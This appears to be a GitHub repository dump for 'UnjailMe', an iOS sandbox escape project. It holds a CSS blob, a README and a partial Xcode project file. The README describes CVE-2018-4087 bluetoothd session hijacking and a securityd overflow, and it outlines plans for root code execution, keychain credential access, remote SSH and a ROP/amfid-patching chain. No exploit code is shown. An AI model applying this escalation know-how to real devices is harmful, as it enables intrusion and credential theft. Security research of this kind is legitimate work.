span{display:block;font-size:14px;line-height:20px}.hidden{display:none}.prx-page.loadedFrom{display:block}.prx-page.loadedTo{z-index:999999}.prx-page.loadedTo-1{z-index:10000000}.prx-page.loadedTo-2{z-index:10000001}.prx-page.loadedTo-3{z-index:10000002}.prx-page.loadedTo-4{z-index:10000003}.prx-page.loadedTo-5{z-index:10000004}.prx-page.loadedTo-6{z-index:10000005}.prx-page.loadedTo-7{z-index:10000006}.prx-page.loadedTo-8{z-index:10000007}.prx-page.loadedTo-9{z-index:10000008}.prx-page.loadedTo-10{z-index:10000009}.prx-page.loadedTo-11{z-index:10000010}.prx-page.loadedTo-12{z-index:10000011}.prx-page.loadedTo-13{z-index:10000012}.prx-page.loadedTo-14{z-index:10000013}.prx-page.loadedTo-15{z-index:10000014}.prx-page.loadedTo-16{z-index:10000015}.prx-page.loadedTo-17{z-index:10000016}.prx-page.loadedTo-18{z-index:10000017}.prx-page.loadedTo-19{z-index:10000018}.prx-page.loadedTo-20{z-index:10000019}.prx-page.loadedTo-21{z-index:10000020}.prx-page.loadedTo-22{z-index:10000021}.prx-page.loadedTo-23{z-index:10000022}.prx-page.loadedTo-24{z-index:10000023}.prx-page.loadedTo-25{z-index:10000024}.prx-page.loadedTo-26{z-index:10000025}.prx-page.loadedTo-27{z-index:10000026}.prx-page.loadedTo-28{z-index:10000027}.prx-page.loadedTo-29{z-index:10000028}.prx-page.loadedTo-30{z-index:10000029}#statusbar,#navigationbar{background:transparent 0 0;display:block;width:100%;border:0px none;top:0px;position:fixed;z-index:1}#loader-wrapper{background:#f8f9fa;height:100%;left:0;position:fixed;top:0;width:100%;z-index:99999;font-size:11px}#loader-wrapper .progress{position:absolute;top:50%;left:50%;transform:translate(-50%, -50%);-ms-transform:translate(-50%, -50%);-webkit-transform:translate(-50%, -50%);width:50%;height:4px;background-color:#ddd}#loader-wrapper .progress-bar{position:relative;width:0;height:4px;-webkit-transition:0.4s linear;-moz-transition:0.4s linear;-o-transition:0.4s linear;transition:0.4s linear;-webkit-transition-property:width, background-color;-moz-transition-property:width, background-color;-o-transition-property:width, background-color;transition-property:width, background-color}#loader-wrapper .progress-bar:before,.progress-bar:after{content:'';position:absolute;top:0;left:0;right:0}#loader-wrapper .progress-bar:before{bottom:0;background-color:#ddd}#loader-wrapper .progress-bar:after{z-index:2;bottom:0;background:#00A1C0}#loader-wrapper #app-icon{position:absolute;top:50%;left:50%;transform:translate(-50%, -150%);-ms-transform:translate(-50%, -150%);-webkit-transform:translate(-50%, -150%);width:114px;height:114px}#loader-wrapper #poweredby{position:absolute;bottom:5%;left:50%;transform:translate(-50%, 0%);-ms-transform:translate(-50%, 0%);-webkit-transform:translate(-50%, 0%);width:100%;height:16px;background-image:url("/images/player/madewithproto.png");background-repeat:no-repeat;background-position:center;z-index:99999}body{-moz-transition:opacity 0.3s linear;-o-transition:opacity 0.3s linear;-webkit-transition:opacity 0.3s linear;transition:opacity 0.3s linear}.reloading{background:#fff !important;opacity:0}@media (min-width: 481px) and (max-width: 1079px){#loader-wrapper #poweredby{background-image:url("/images/player/madewithproto@2x.png");height:32px}#loader-wrapper .progress{height:4px}#loader-wrapper .progress-bar{height:4px}}@media (min-width: 1080px){#loader-wrapper #poweredby{background-image:url("/images/player/madewithproto@3x.png");height:48px}#loader-wrapper .progress{height:6px}#loader-wrapper .progress-bar{height:6px}}@media (width: 1280px) and (height: 768px){#loader-wrapper #poweredby{background-image:url("/images/player/madewithproto.png");height:32px}#loader-wrapper .progress{height:2px}#loader-wrapper .progress-bar{height:2px}}.pointer-events-none{pointer-events:none !important}body{background:white}body .prx-page{-webkit-trans1form:translate3d(0, 0, 0)}.prx-page .type-symbol .box{-w1ebkit-transform:translate3d(0, 0, 0)}html{background:transparent}body{background:white;overflow:hidden}body.mobile-device-true *{-webkit-text-size-adjust:100%}body.mobile-device-false *{-webkit-text-size-adjust:initial}#window-wrapper{width:100%;height:100%;overflow:hidden;position:relative}#dragarea{background:transparent;display:none}#underlay,#overlay,#trash,#quick-audios{position:absolute;top:0px;left:0px}#trash,#quick-audios{display:none}.hide{display:none !important}.visible{display:block !important}*{outline:none}.iScrollVerticalScrollbar,.iScrollHorizontalScrollbar{z-index:auto !important}.overlay{position:fixed;left:0;right:0;bottom:0;top:0}.ui-mobile-viewport-transitioning,.ui-mobile-viewport-transitioning .prx-page{o1verflow:visible !important}.box[style*="z-index: 0;"],.box[style*="z-index:0;"]{z-index:auto !important}.box[data-mpoverlay="1"]{pos1ition:fixed}#temp-for-external-link{display:none}html{background:transparent !important}#dragarea{background:transparent !important}.hide{display:none !important}*{outline:none}.ghost-component,.ghost-component *,.ghost-component .box *{pointer-events:none !important}#statusbar{position:fixed !important}.prx-page{position:absolute;display:none}.prx-page.prx-page-active,.prx-page[class*="prx-page-transitioning-"]{display:block}.prx-page[class*="prx-page-transitioning-"]{overflow:hidden}.prx-page.prx-page-transitioning-overlay-in-source,.prx-page.prx-page-transitioning-overlay-out-target{overflow:visible}.prx-page.prx-page-below{z-index:10}.prx-page.prx-page-above{z-index:20}#overlay{z-index:30}.prx-page.prx-page-transition-flip{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;backface-visibility:hidden}.prx-page.prx-page-transition-turn{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;backface-visibility:hidden;-webkit-transform:translate3d(0, 0, 0);-moz-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0);-webkit-transform-origin:0 center;-moz-transform-origin:0 center;transform-origin:0 center;transform:translate3d(0, 0, 0)}.prx-page.prx-page-transition-flow:not(.prx-page-transition-flow-overlay),.prx-page.prx-page-transition-overlay-top{box-shadow:0 0 20px rgba(0,0,0,0.4)}.prx-page-above.prx-page-transition-notificationInWatchOS{transition:background-color 0.45s ease-out}.prx-page-above.prx-page-transition-notificationInWatchOS.prx-page-transition-notificationInWatchOS-notification-in{background-color:transparent !important;transition:background-color 0s ease-out}.device-cursor-touch,.device-cursor-touch *{cursor:url("/images/player/touch-cursor-64.png") 32 32,default}.device-cursor-web,.device-cursor-web *{cursor:default}.device-cursor-web .interaction-tap,.device-cursor-web .interaction-tap *,.device-cursor-web .interaction-click,.device-cursor-web .interaction-click *,.device-cursor-web .touch,.device-cursor-web .touch *,.device-cursor-web .delayedtap,.device-cursor-web .delayedtap *,.device-cursor-web .release,.device-cursor-web .release *{cursor:pointer;cursor:hand}.device-cursor-web [data-component-type="text"]{cursor:default}.device-cursor-web .draggable,.device-cursor-web .draggable *{cursor:move}.device-cursor-web input,.device-cursor-web textarea{cursor:text}.do-chrome-fix #window-wrapper{-webkit-perspective:1}.do-chrome-fix .pos{-webkit-backface-visibility:hidden;-webkit-transform:translate3d(0, 0, 0)}.do-chrome-fix *{-w1ebkit-transform:translate3d(0px, 0px, 0px) scale(1) scale3d(1, 1, 1) skew(0deg, 0deg) skewX(0deg) skewY(0deg) rotateX(0deg) rotateY(0deg) rotateZ(0deg)}.do-chrome-fix.dont-do-chrome-fix #window-wrapper{-webkit-perspective:none}.do-chrome-fix.dont-do-chrome-fix .pos{-webkit-backface-visibility:visible;-webkit-transform:none}.prx-page-transitioning:not(.prx-page-transitioning-overlay-in-source) [data-mpoverlay="1"]{display:none}#fps{position:fixed;z-index:9999;font-size:18px;top:20px;left:20px;background:rgba(0,0,0,0.8);border-radius:6px;color:white;padding:3px 10px;pointer-events:none}.cbutton{position:absolute;display:inline-block;padding:0;border:none;background:none;color:#286aab;font-size:1.4em;overflow:visible;-webkit-transition:color 0.7s;transition:color 0.7s;-webkit-tap-highlight-color:transparent;pointer-events:none}.cbutton.cbutton--click,.cbutton:focus{outline:none;color:#3c8ddc}.cbutton::after{position:absolute;width:100%;height:100%;border-radius:50%;content:'';opacity:0;pointer-events:none}.cbutton--effect-jelena::after{border:3px solid rgba(211,211,211,0.7)}.cbutton--effect-jelena.cbutton--click::after{-webkit-animation:anim-effect-jelena 0.3s ease-out forwards;animation:anim-effect-jelena 0.3s ease-out forwards}@-webkit-keyframes anim-effect-jelena{0%{opacity:1;-webkit-transform:scale3d(0.6, 0.6, 1);transform:scale3d(0.6, 0.6, 1)}to{opacity:0;-webkit-transform:scale3d(1.2, 1.2, 1);transform:scale3d(1.2, 1.2, 1)}}@keyframes anim-effect-jelena{0%{opacity:1;-webkit-transform:scale3d(0.5, 0.5, 1);transform:scale3d(0.5, 0.5, 1)}to{opacity:0;-webkit-transform:scale3d(1.2, 1.2, 1);transform:scale3d(1.2, 1.2, 1)}}.cbutton--effect-sanja::after{background:rgba(192,192,192,0.3)}.cbutton--effect-sanja.cbutton--click::after{-webkit-animation:anim-effect-sanja 1s ease-out forwards;animation:anim-effect-sanja 1s ease-out forwards}@-webkit-keyframes anim-effect-sanja{0%{opacity:1;-webkit-transform:scale3d(0.5, 0.5, 1);transform:scale3d(0.5, 0.5, 1)}25%{opacity:1;-webkit-transform:scale3d(1, 1, 1);transform:scale3d(1, 1, 1)}100%{opacity:0;-webkit-transform:scale3d(1, 1, 1);transform:scale3d(1, 1, 1)}}@keyframes anim-effect-sanja{0%{opacity:1;-webkit-transform:scale3d(0.5, 0.5, 1);transform:scale3d(0.5, 0.5, 1)}25%{opacity:1;-webkit-transform:scale3d(1, 1, 1);transform:scale3d(1, 1, 1)}100%{opacity:0;-webkit-transform:scale3d(1, 1, 1);transform:scale3d(1, 1, 1)}}#log{position:fixed;z-index:9999;font-size:24px;top:20px;right:20px;pointer-events:none}.watchOSscrollbars .iScrollVerticalScrollbar{position:fixed !important;width:12px !important;background-color:rgba(255,255,255,0.3) !important;border-radius:8px !important;z-index:99999 !important}.watchOSscrollbars .iScrollIndicator{background:white !important;border-radius:8px !important;left:2px !important;width:8px !important}.group-action-prediv{position:absolute}.player .type-symbol.type-symbol-transparent .group-action-prediv{pointer-events:auto}.initialise-hidden-container{display:block !important;visibility:hidden !important}.a-enter-vr{height:0 !important}.fullscreen-vr .prx-page{transform:none !important;position:fixed !important}/*! 2 | * Waves v0.5.5 3 | * http://fian.my.id/Waves 4 | * 5 | * Copyright 2014 Alfiana E. Sibuea and other contributors 6 | * Released under the MIT license 7 | * https://github.com/fians/Waves/blob/master/LICENSE 8 | */.waves-effect{position:relative;overflow:hidden}.waves-effect.box{position:absolute}.waves-effect .waves-ripple{position:absolute;border-radius:50%;width:100px;height:100px;margin-top:-50px;margin-left:-50px;opacity:0;background-color:rgba(0,0,0,0.2);pointer-events:none}.waves-effect.waves-light .waves-ripple{background-color:rgba(255,255,255,0.4)}.waves-button,.waves-circle{-webkit-mask-image:-webkit-radial-gradient(circle, #fff 100%, #000 100%)}.waves-button,.waves-button:hover,.waves-button:visited,.waves-button:link,.waves-button-input{white-space:nowrap;vertical-align:middle;cursor:pointer;border:none;outline:none;color:inherit;background-color:transparent;font-size:14px;text-align:center;text-decoration:none;z-index:1}.waves-button{padding:10px 15px;border-radius:2px}.waves-button-input{margin:0;padding:10px 15px}.waves-input-wrapper{border-radius:2px;vertical-align:bottom}.waves-input-wrapper.waves-button{padding:0}.waves-input-wrapper .waves-button-input{position:relative;top:0;left:0;z-index:1}.waves-block{display:block}a.waves-effect .waves-ripple{z-index:-1}#loader-wrapper #poweredby{background-image:url("../images/player/madewithproto.png") !important}@media (min-width: 481px) and (max-width: 1079px){#loader-wrapper #poweredby{background-image:url("../images/player/madewithproto@2x.png") !important}}@media (min-width: 1080px){#loader-wrapper #poweredby{background-image:url("../images/player/madewithproto@3x.png") !important}}@media (width: 1280px) and (height: 768px){#loader-wrapper #poweredby{background-image:url("../images/player/madewithproto.png") !important}}.actionicon{background-image:url("../images/player/actions-sprite-1.png")}.device-cursor-touch,.device-cursor-touch *{cursor:url("../images/player/touch-cursor-64.png") 32 32,default !important} 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # UnjailMe 2 | A sandbox escape based on: 3 | 4 | - the proof-of-concept (CVE-2018-4087) by Rani Idan (Zimperium) 5 | - @cheesecakeufo's securityd overflow proof-of-concept (zeroday, no CVE known, thank you Abraham!) 6 | 7 | # About the ZIMPERIUM PoC 8 | Rani used sbtool from Jonathan Levine to find out what services were accessible for communication from within the sandbox. 9 | 10 | He then found under more bluetoothd and set up code for intercepting messages from and to the service. 11 | 12 | By doing so he found out he could hijack the session of many daemons and could leak the client port. 13 | 14 | This way he found it was possible to add a callback with additional data to the client's connection to bluetoothd. 15 | 16 | The consequence of this is that control can be gained over the process counter (callback) and register x3 (additional data) of system deamons from which a client port (session) is intercepted. 17 | 18 | Providing the possibility to escape a sandbox app into a priviliged context making it run code with system privileges. 19 | 20 | Apple has patched the vulnerabilities in iOS 11.2.5 using an arc4random() for the session id. 21 | 22 | It seems not to be possible to gain a client's port anymore but intercepting sessions still is. 23 | 24 | It takes aproximately 5 days to bruteforce this arc4random() in this new patch (4.294.967.296 possibilities) and therefore I am still looking forward to a final patch as this is not considered a fix for the security issue. 25 | 26 | 27 | Source: Zimperium Blog 28 | 29 | # About Abraham Masri's Poc 30 | As far as I know this is a bufferoverflow in the communication with securityd. 31 | 32 | This is done by providing an XPC message, which is a dictionary based value-key message, with an invalid length. 33 | 34 | The service receives the message and the underflow occurs. 35 | 36 | Abraham seems to have found a way to control many processor registers making code execution with system rights possible for apps running inside the system. 37 | 38 | Abraham's PoC shows that Abraham is trying to create an exploit for this vulnerability himself, as code exists for leaking base addresses which is known as the begin of the creation of a ROP-chain. 39 | 40 | It is unknown if Abraham is planning to write this exploit himself or pointing us in the right direction. 41 | 42 | # Requirements 43 | - A 64-bit iOS device running iOS 10 up to 11.3.1 44 | 45 | # About this project 46 | - This project is not a jailbreak nor will contribute to one as this will only operate in userland 47 | - This project can not and never will gain the ability to write to the rootfilesystem as this is mounted as readonly as enforced by the kernel. 48 | - This project will not easily allow arbitrary code execution in the form of dynamic libraries like cydia substrate does. 49 | - The project has as main goal to escallate an sandboxed container app to system rights. 50 | - AMFI enforces that all binaries are validly signed and this project cannot patch AMFI. 51 | - The project aims to gain read and write permission to the userdata partition (/var/root, /var/mobile). 52 | - The project aims to gain access to the protected key chain storage for credential recovery and forensic purposes. 53 | - The project also aims to provide server functionality for running code as root and file transfer. 54 | - The project was intended to be a help for developers and researchers for contribution. 55 | - The project will make it easier for jailbreak developers and security researchers to find bugs in kernel drivers that are only accessible from within a privilige context or userland bugs using fuzzing techniques. 56 | - The project will make it easier for jailbreak tweak developers to research the new iOS 11 features and debug tweak development on a live device. 57 | - This project has the main focus to work for iOS 10 up to 11.2.5 but can in theory support 11.2.5 up to including 11.3 as well when exploits are developed. 58 | 59 | 60 | # Screenshot 61 | 62 | 63 | # How to use the app 64 | - The app does not add any value to the project but serves as a visual to those asking for it (A lot of hyped-up people from the community asked for this) 65 | - The app will dump information from libraries and frameworks including memory, mach-o information and it's base addresses which is useful for ROP-development. 66 | - The logic in the app can take up to 15 minutes to complete due to the many parsing and prints, this will not be the case in final releases. 67 | - The app will not add any value to your iphone or change the behaviour of the software as it is, some daemons may crash but no permanent damage is done to the system. 68 | - It is recommended for researchers to run this project in Xcode instead 69 | 70 | 71 | # TROUBLESHOOT (not needed, but just in case) 72 | - Delete the app 73 | - Turn off bluetooth 74 | - Reboot 75 | - Turn on bluetooth 76 | - Turn off bluetooth 77 | 78 | # Features 79 | - FTP Access (sandboxed currently, unsandboxed in the future) 80 | - Visual PoC 81 | - PoC by zerodium (Finally slightly imrpoved, can make call to system() function) 82 | - PoC by Abraham, which should be able to run arbitrary code as root, perfect for ssh. 83 | - PoC by Sem Voigtlander (Kernel address space allocation DoS, for reboot device function). 84 | 85 | # Planned 86 | - Full exploit including gaining full control over other daemons their address space. 87 | - Remote SSH shell access (dropbear or a derative). 88 | 89 | # Future things to think about 90 | - SpringBoardd code injection (Hello there jailbreak lovers) 91 | - launchd (Not possible as we cannot gain a session for it). 92 | 93 | 94 | # Hypothesis (just speculation) 95 | - Find daemon with launchd entitlements / inject entitlements. 96 | - Inject code that loads BaseBoard Framework 97 | - Leak addresses of libraries in the dyld_shared_cache. 98 | - Find a ropgadget in any library in the dyld_shared_cache. 99 | - Call the ropchain by setting the callback and the callback additional data. 100 | - Use reverse engineered logic from BaseBoard to make launchd run amfid with arguments and aslr disabled. 101 | - patch amfid 102 | - Use reverse engineered logic from BaseBoard to make afcd run with arguments for / and aslr disabled. (afc2 like). 103 | - Use reverse engineered logic from BaseBoard to run unjaild, a daemon that can be used as a wrapper around launchd and handles task priviliges and code injection 104 | - gain a taskport over launchd with aslr disabled using BaseBoard logic 105 | 106 | 107 | 108 | # To examine 109 | - AMFI patches (Not easy, we cannot gain sessions over amfi, but we can escalate using other daemons perhaps). 110 | - Entitlement injection (Not quite necessary, we have control over so many daemons that we don't need this). 111 | - Escalate further using private API's (BaseBoard.framework can launch processes with ASLR disabled with system rights)??? 112 | - revive and port liblorgnette to iOS (DONE) 113 | 114 | # Download ipa 115 | https://github.com/MTJailed/UnjailMe/releases/tag/0.1 116 | 117 | # Credits 118 | - Abraham (@cheesecakeufo) for his securityd zeroday 119 | - Vulnerability and initial PoC: Rani Idan (Zimperium) <3 120 | - PureFTPd 121 | - liblorgnette project (with my own slight improvements) 122 | - NEWUI by @ringarang 123 | 124 | # Donate or contribute 125 | - Sourcecode can be given if asked on twitter via DM (@MTJailed) 126 | - Please donate, I have very little time and means to work on such projects! (http://paypal.me/devsupport) 127 | - Soon sourcecode (Except for ftp) will be here on GitHub. 128 | 129 | 130 | -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-minimal -------------------------------------------------------------------------------- /b.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MTJailed/UnjailMe/2e1b4420ea1910725989e7a32950d6e87a2e67ad/b.png -------------------------------------------------------------------------------- /session_hijacking.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MTJailed/UnjailMe/2e1b4420ea1910725989e7a32950d6e87a2e67ad/session_hijacking.png -------------------------------------------------------------------------------- /unjailme.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = 1; 4 | classes = { 5 | }; 6 | objectVersion = 48; 7 | objects = { 8 | 9 | /* Begin PBXBuildFile section */ 10 | 1DBCF96E2046CFF4001A233B /* lorgnette.c in Sources */ = {isa = PBXBuildFile; fileRef = 1DBCF96C2046CFF4001A233B /* lorgnette.c */; }; 11 | 1DBCF9712046DE48001A233B /* APIManager.m in Sources */ = {isa = PBXBuildFile; fileRef = 1DBCF9702046DE47001A233B /* APIManager.m */; }; 12 | 1DF1DA462045FAFE006ECC35 /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 1DF1DA452045FAFE006ECC35 /* AppDelegate.m */; }; 13 | 1DF1DA492045FAFE006ECC35 /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 1DF1DA482045FAFE006ECC35 /* ViewController.m */; }; 14 | 1DF1DA4C2045FAFE006ECC35 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 1DF1DA4A2045FAFE006ECC35 /* Main.storyboard */; }; 15 | 1DF1DA4F2045FAFE006ECC35 /* unjailme.xcdatamodeld in Sources */ = {isa = PBXBuildFile; fileRef = 1DF1DA4D2045FAFE006ECC35 /* unjailme.xcdatamodeld */; }; 16 | 1DF1DA512045FAFE006ECC35 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 1DF1DA502045FAFE006ECC35 /* Assets.xcassets */; }; 17 | 1DF1DA542045FAFE006ECC35 /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 1DF1DA522045FAFE006ECC35 /* LaunchScreen.storyboard */; }; 18 | 1DF1DA572045FAFE006ECC35 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 1DF1DA562045FAFE006ECC35 /* main.m */; }; 19 | 1DF1DA612045FAFE006ECC35 /* unjailmeTests.m in Sources */ = {isa = PBXBuildFile; fileRef = 1DF1DA602045FAFE006ECC35 /* unjailmeTests.m */; }; 20 | 1DF1DA6C2045FAFE006ECC35 /* unjailmeUITests.m in Sources */ = {isa = PBXBuildFile; fileRef = 1DF1DA6B2045FAFE006ECC35 /* unjailmeUITests.m */; }; 21 | 1DF1DA7B2045FB83006ECC35 /* exploit.m in Sources */ = {isa = PBXBuildFile; fileRef = 1DF1DA792045FB83006ECC35 /* exploit.m */; }; 22 | 1DF1DA7E2045FCF6006ECC35 /* QuartzCore.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 1DF1DA7D2045FCF6006ECC35 /* QuartzCore.framework */; }; 23 | 1DF1DA8520460A34006ECC35 /* libmtftp.dylib in Frameworks */ = {isa = PBXBuildFile; fileRef = 1DF1DA8420460A34006ECC35 /* libmtftp.dylib */; }; 24 | 1DF1DA8720460B1C006ECC35 /* mtftp.m in Sources */ = {isa = PBXBuildFile; fileRef = 1DF1DA8620460B1C006ECC35 /* mtftp.m */; }; 25 | 1DF1DA8920460B97006ECC35 /* libiconv.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 1DF1DA8820460B97006ECC35 /* libiconv.tbd */; }; 26 | /* End PBXBuildFile section */ 27 | 28 | /* Begin PBXContainerItemProxy section */ 29 | 1DF1DA5D2045FAFE006ECC35 /* PBXContainerItemProxy */ = { 30 | isa = PBXContainerItemProxy; 31 | containerPortal = 1DF1DA392045FAFE006ECC35 /* Project object */; 32 | proxyType = 1; 33 | remoteGlobalIDString = 1DF1DA402045FAFE006ECC35; 34 | remoteInfo = unjailme; 35 | }; 36 | 1DF1DA682045FAFE006ECC35 /* PBXContainerItemProxy */ = { 37 | isa = PBXContainerItemProxy; 38 | containerPortal = 1DF1DA392045FAFE006ECC35 /* Project object */; 39 | proxyType = 1; 40 | remoteGlobalIDString = 1DF1DA402045FAFE006ECC35; 41 | remoteInfo = unjailme; 42 | }; 43 | /* End PBXContainerItemProxy section */ 44 | 45 | /* Begin PBXFileReference section */ 46 | 1DBCF96B2046CFD7001A233B /* lorgnette-structs.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "lorgnette-structs.h"; sourceTree = ""; }; 47 | 1DBCF96C2046CFF4001A233B /* lorgnette.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = lorgnette.c; sourceTree = ""; }; 48 | 1DBCF96D2046CFF4001A233B /* lorgnette.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = lorgnette.h; sourceTree = ""; }; 49 | 1DBCF96F2046DE47001A233B /* APIManager.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = APIManager.h; sourceTree = ""; }; 50 | 1DBCF9702046DE47001A233B /* APIManager.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = APIManager.m; sourceTree = ""; }; 51 | 1DF1DA412045FAFE006ECC35 /* unjailme.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = unjailme.app; sourceTree = BUILT_PRODUCTS_DIR; }; 52 | 1DF1DA442045FAFE006ECC35 /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = ""; }; 53 | 1DF1DA452045FAFE006ECC35 /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = ""; }; 54 | 1DF1DA472045FAFE006ECC35 /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = ""; }; 55 | 1DF1DA482045FAFE006ECC35 /* ViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = ""; }; 56 | 1DF1DA4B2045FAFE006ECC35 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = ""; }; 57 | 1DF1DA4E2045FAFE006ECC35 /* unjailme.xcdatamodel */ = {isa = PBXFileReference; lastKnownFileType = wrapper.xcdatamodel; path = unjailme.xcdatamodel; sourceTree = ""; }; 58 | 1DF1DA502045FAFE006ECC35 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; }; 59 | 1DF1DA532045FAFE006ECC35 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = ""; }; 60 | 1DF1DA552045FAFE006ECC35 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 61 | 1DF1DA562045FAFE006ECC35 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; }; 62 | 1DF1DA5C2045FAFE006ECC35 /* unjailmeTests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = unjailmeTests.xctest; sourceTree = BUILT_PRODUCTS_DIR; }; 63 | 1DF1DA602045FAFE006ECC35 /* unjailmeTests.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = unjailmeTests.m; sourceTree = ""; }; 64 | 1DF1DA622045FAFE006ECC35 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 65 | 1DF1DA672045FAFE006ECC35 /* unjailmeUITests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = unjailmeUITests.xctest; sourceTree = BUILT_PRODUCTS_DIR; }; 66 | 1DF1DA6B2045FAFE006ECC35 /* unjailmeUITests.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = unjailmeUITests.m; sourceTree = ""; }; 67 | 1DF1DA6D2045FAFE006ECC35 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 68 | 1DF1DA792045FB83006ECC35 /* exploit.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = exploit.m; sourceTree = ""; }; 69 | 1DF1DA7A2045FB83006ECC35 /* exploit.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = exploit.h; sourceTree = ""; }; 70 | 1DF1DA7D2045FCF6006ECC35 /* QuartzCore.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = QuartzCore.framework; path = System/Library/Frameworks/QuartzCore.framework; sourceTree = SDKROOT; }; 71 | 1DF1DA8220460A08006ECC35 /* pureftpd.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = pureftpd.h; sourceTree = ""; }; 72 | 1DF1DA8320460A23006ECC35 /* mtftp.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = mtftp.h; sourceTree = ""; }; 73 | 1DF1DA8420460A34006ECC35 /* libmtftp.dylib */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = libmtftp.dylib; sourceTree = ""; }; 74 | 1DF1DA8620460B1C006ECC35 /* mtftp.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = mtftp.m; sourceTree = ""; }; 75 | 1DF1DA8820460B97006ECC35 /* libiconv.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libiconv.tbd; path = usr/lib/libiconv.tbd; sourceTree = SDKROOT; }; 76 | /* End PBXFileReference section */ 77 | 78 | /* Begin PBXFrameworksBuildPhase section */ 79 | 1DF1DA3E2045FAFE006ECC35 /* Frameworks */ = { 80 | isa = PBXFrameworksBuildPhase; 81 | buildActionMask = 2147483647; 82 | files = ( 83 | 1DF1DA8920460B97006ECC35 /* libiconv.tbd in Frameworks */, 84 | 1DF1DA8520460A34006ECC35 /* libmtftp.dylib in Frameworks */, 85 | 1DF1DA7E2045FCF6006ECC35 /* QuartzCore.framework in Frameworks */, 86 | ); 87 | runOnlyForDeploymentPostprocessing = 0; 88 | }; 89 | 1DF1DA592045FAFE006ECC35 /* Frameworks */ = { 90 | isa = PBXFrameworksBuildPhase; 91 | buildActionMask = 2147483647; 92 | files = ( 93 | ); 94 | runOnlyForDeploymentPostprocessing = 0; 95 | }; 96 | 1DF1DA642045FAFE006ECC35 /* Frameworks */ = { 97 | isa = PBXFrameworksBuildPhase; 98 | buildActionMask = 2147483647; 99 | files = ( 100 | ); 101 | runOnlyForDeploymentPostprocessing = 0; 102 | }; 103 | /* End PBXFrameworksBuildPhase section */ 104 | 105 | /* Begin PBXGroup section */ 106 | 1DBCF9722046DE4B001A233B /* utils */ = { 107 | isa = PBXGroup; 108 | children = ( 109 | 1DF1DA8320460A23006ECC35 /* mtftp.h */, 110 | 1DF1DA8620460B1C006ECC35 /* mtftp.m */, 111 | 1DF1DA8220460A08006ECC35 /* pureftpd.h */, 112 | 1DBCF96B2046CFD7001A233B /* lorgnette-structs.h */, 113 | 1DBCF96C2046CFF4001A233B /* lorgnette.c */, 114 | 1DBCF96D2046CFF4001A233B /* lorgnette.h */, 115 | 1DBCF96F2046DE47001A233B /* APIManager.h */, 116 | 1DBCF9702046DE47001A233B /* APIManager.m */, 117 | ); 118 | path = utils; 119 | sourceTree = ""; 120 | }; 121 | 1DF1DA382045FAFE006ECC35 = { 122 | isa = PBXGroup; 123 | children = ( 124 | 1DF1DA432045FAFE006ECC35 /* unjailme */, 125 | 1DF1DA5F2045FAFE006ECC35 /* unjailmeTests */, 126 | 1DF1DA6A2045FAFE006ECC35 /* unjailmeUITests */, 127 | 1DF1DA422045FAFE006ECC35 /* Products */, 128 | 1DF1DA7C2045FCF6006ECC35 /* Frameworks */, 129 | 